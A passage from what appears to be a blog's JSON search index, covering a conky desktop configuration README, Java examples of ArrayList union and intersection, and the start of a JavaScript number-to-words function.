Window.\nThere are 3 conky configurations as follows:\nconky-core: Displays CPU/RAM/Disk metrics. Does not fetch anything from web except the WAN IP\nconky-social: Displays data from various social networks such as Facebook, Feedly, Github, Stackoverflow, Pocket etc.\nconky-weather: This is a fork of https://github.com/mariusv/conky-google-now. Full credit to him. I just converted inline unreadable curl calls to python script and bit of UI hacks\nOAuth Setup Most of the social networks use OAuth as their authentication mechanism. You will need to setup your own OAuth access tokens for the conky to work and update it in .password.json file. Given below is each social network which this conky reads data from and its authentication mechanism.\nGmail - Username / password Github - Username / password Facebook - Access via fbcmd Stackoverflow - Uses unauthenticated API. No setup required except userid Twitter - Uses OAuth Application only authentication Pocket - OAuth. See developer docs Feedly - OAuth token must be requested via email Fonts It utilizes few fonts to render social icons. They are present in the fonts folder\nPoky Zocial Open Sans Light Update Intervals There are different intervals configured for each conky and individual social networks within conky configuration file. I am not describing it out here as I assume that user knows how to tweak conky configurations.\nCredits I would like to thank following people for their awesome open source projects used in this conky:\nfbcmd https://github.com/mariusv/conky-google-now https://github.com/zgw21cn/FeedlyClient ","permalink":"https://madhur.co.in/blog/2014/10/10/awesome-conky.html","summary":"\u003cp\u003eMy simple but awesome conky configuration. Feel free to \u003ca href=\"https://github.com/madhur/awesome-conky\"\u003efork my repo\u003c/a\u003e and use it yourself. Though it will require some work to setup.\u003c/p\u003e\n\u003ch3 id=\"screenshots\"\u003eScreenshots\u003c/h3\u003e\n\u003cp\u003eClick \u003ca href=\"https://raw.githubusercontent.com/madhur/awesome-conky/master/screenshots/conky.png\"\u003ehere\u003c/a\u003e to see how it looks on a desktop when nicely arranged\u003c/p\u003e\n\u003cdiv style=\"float:left;width:100%\"\u003e\n\u003ca href=https://raw.githubusercontent.com/madhur/awesome-conky/master/screenshots/conky-core.png\u003e\u003cimg alt=conky-core src=https://raw.githubusercontent.com/madhur/awesome-conky/master/screenshots/conky-core.png height=485 width=200 /\u003e\u003c/a\u003e\u003ca href=https://raw.githubusercontent.com/madhur/awesome-conky/master/screenshots/conky-social.png\u003e\u003cimg alt=conky-social src=https://raw.githubusercontent.com/madhur/awesome-conky/master/screenshots/conky-social.png width=199 height=366 /\u003e\u003c/a\u003e\u003ca href=https://raw.githubusercontent.com/madhur/awesome-conky/master/screenshots/conky-weather.png\u003e\u003cimg alt=conky-weather src=https://raw.githubusercontent.com/madhur/awesome-conky/master/screenshots/conky-weather.png width=141 height=135 /\u003e\u003c/a\u003e\n\u003c/div\u003e\n\u003cdiv style=\"float:clear\"\u003e\u003c/div\u003e\n\u003cp/\u003e\u003cp/\u003e\u003cp/\u003e\n\u003ch3 id=\"features\"\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFetches Gmail using Atom feed\u003c/li\u003e\n\u003cli\u003eFetches Facebook friend requests, notifications using \u003ca href=\"http://fbcmd.dtompkins.com/\"\u003efbcmd\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFetches Pocket unread items\u003c/li\u003e\n\u003cli\u003eFetches Stackoverflow overall reputation, week, month and day change\u003c/li\u003e\n\u003cli\u003eFetches twitter followers count\u003c/li\u003e\n\u003cli\u003eFetches github statistics\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"prerequisites\"\u003ePrerequisites\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePython 3 - \u003ccode\u003esudo apt-get install python3\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://www.lm-sensors.org/\"\u003elm-sensors\u003c/a\u003e for monitoring Core temperatures - \u003ccode\u003esudo apt-get install lm-sensors\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"usage\"\u003eUsage\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003eAll the files need to be dropped into \u003ccode\u003e.conky\u003c/code\u003e folder inside your home directory i.e. \u003ccode\u003e~/.conky/\u003c/code\u003e\u003c/p\u003e","title":"An awesome conky configuration"},{"content":"Intersection import java.util.ArrayList; import java.util.Arrays; import java.util.List; public class Main { public static void main(String[] args) { List\u0026lt;String\u0026gt; list1 = new ArrayList\u0026lt;String\u0026gt;(Arrays.asList(\u0026#34;A\u0026#34;, \u0026#34;B\u0026#34;, \u0026#34;C\u0026#34;)); List\u0026lt;String\u0026gt; list2 = new ArrayList\u0026lt;String\u0026gt;(Arrays.asList(\u0026#34;B\u0026#34;, \u0026#34;C\u0026#34;, \u0026#34;D\u0026#34;, \u0026#34;E\u0026#34;, \u0026#34;F\u0026#34;)); list1.retainAll(list2) ; System.out.println(list1); System.out.println(list2);\t} } [B, C] [B, C, D, E, F] Union import java.util.ArrayList; import java.util.Arrays; import java.util.List; public class Main { public static void main(String[] args) { List\u0026lt;String\u0026gt; list1 = new ArrayList\u0026lt;String\u0026gt;(Arrays.asList(\u0026#34;A\u0026#34;, \u0026#34;B\u0026#34;, \u0026#34;C\u0026#34;)); List\u0026lt;String\u0026gt; list2 = new ArrayList\u0026lt;String\u0026gt;(Arrays.asList(\u0026#34;B\u0026#34;, \u0026#34;C\u0026#34;, \u0026#34;D\u0026#34;, \u0026#34;E\u0026#34;, \u0026#34;F\u0026#34;)); list1.addAll(list2) ; System.out.println(list1); System.out.println(list2);\t} } [A, B, C, B, C, D, E, F] [B, C, D, E, F] ","permalink":"https://madhur.co.in/blog/2014/07/29/unionintersection.html","summary":"\u003ch2 id=\"intersection\"\u003eIntersection\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-Java\" data-lang=\"Java\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003ejava.util.ArrayList\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003ejava.util.Arrays\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003ejava.util.List\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eMain\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t\u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e[]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t\t\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t\t \u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elist1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eArrayList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eArrays\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003easList\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;A\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;B\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;C\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t     \u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elist2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eArrayList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eArrays\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003easList\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;B\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;C\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;D\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;E\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;F\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t      \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t      \u003c/span\u003e\u003cspan class=\"n\"\u003elist1\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eretainAll\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003elist2\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t      \t      \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t      \u003c/span\u003e\u003cspan class=\"n\"\u003eSystem\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eprintln\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003elist1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t      \u003c/span\u003e\u003cspan class=\"n\"\u003eSystem\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eprintln\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003elist2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\t     \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e[B, C]\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e[B, C, D, E, F]\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"union\"\u003eUnion\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-Java\" data-lang=\"Java\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003ejava.util.ArrayList\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003ejava.util.Arrays\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003ejava.util.List\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eMain\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t\u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e[]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t\t\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t\t \u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elist1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eArrayList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eArrays\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003easList\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;A\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;B\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;C\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t     \u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elist2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eArrayList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eArrays\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003easList\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;B\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;C\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;D\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;E\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;F\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t      \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t      \u003c/span\u003e\u003cspan class=\"n\"\u003elist1\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eaddAll\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003elist2\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t      \t      \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t      \u003c/span\u003e\u003cspan class=\"n\"\u003eSystem\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eprintln\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003elist1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t      \u003c/span\u003e\u003cspan class=\"n\"\u003eSystem\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eprintln\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003elist2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\t     \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\t\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e[A, B, C, B, C, D, E, F]\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e[B, C, D, E, F]\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Union and Intersection of ArrayList in Java"},{"content":"This time another algorithm, converting a number to word. Try typing in a number below:\n\u0026lt;div class=\u0026quot;form-group\u0026quot;\u0026gt; \u0026lt;input type=\u0026quot;number\u0026quot; ng-change=\u0026quot;change(problem.myNum)\u0026quot; ng-model=\u0026quot;problem.myNum\u0026quot; /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;p/\u0026gt; \u0026lt;br/\u0026gt; \u0026lt;div class=\u0026quot;alert alert-success\u0026quot; ng-bind=\u0026quot;problem.myWord\u0026quot;\u0026gt;\u0026lt;/div\u0026gt; The algorithm in Javascript below. Click here for C# gist.\nNumberToWords= function(number) { if (number == 0) return \u0026#34;zero\u0026#34;; if (number \u0026lt; 0) return \u0026#34;minus \u0026#34; + $scope.NumberToWords(Math.abs(number)); var words = \u0026#34;\u0026#34;; if (Math.floor(number / 1000000) \u0026gt; 0) { words += $scope.NumberToWords(Math.floor(number / 1000000)) + \u0026#34; million \u0026#34;; number %= 1000000; } if (Math.floor(number / 1000) \u0026gt; 0) { words += $scope.NumberToWords(Math.floor(number / 1000)) + \u0026#34; thousand \u0026#34;; number %= 1000; } if (Math.floor(number / 100) \u0026gt; 0) { words += $scope.NumberToWords(Math.floor(number / 100)) + \u0026#34; hundred \u0026#34;; number %= 100; } if (number \u0026gt; 0) { if (words != \u0026#34;\u0026#34;) words += \u0026#34;and 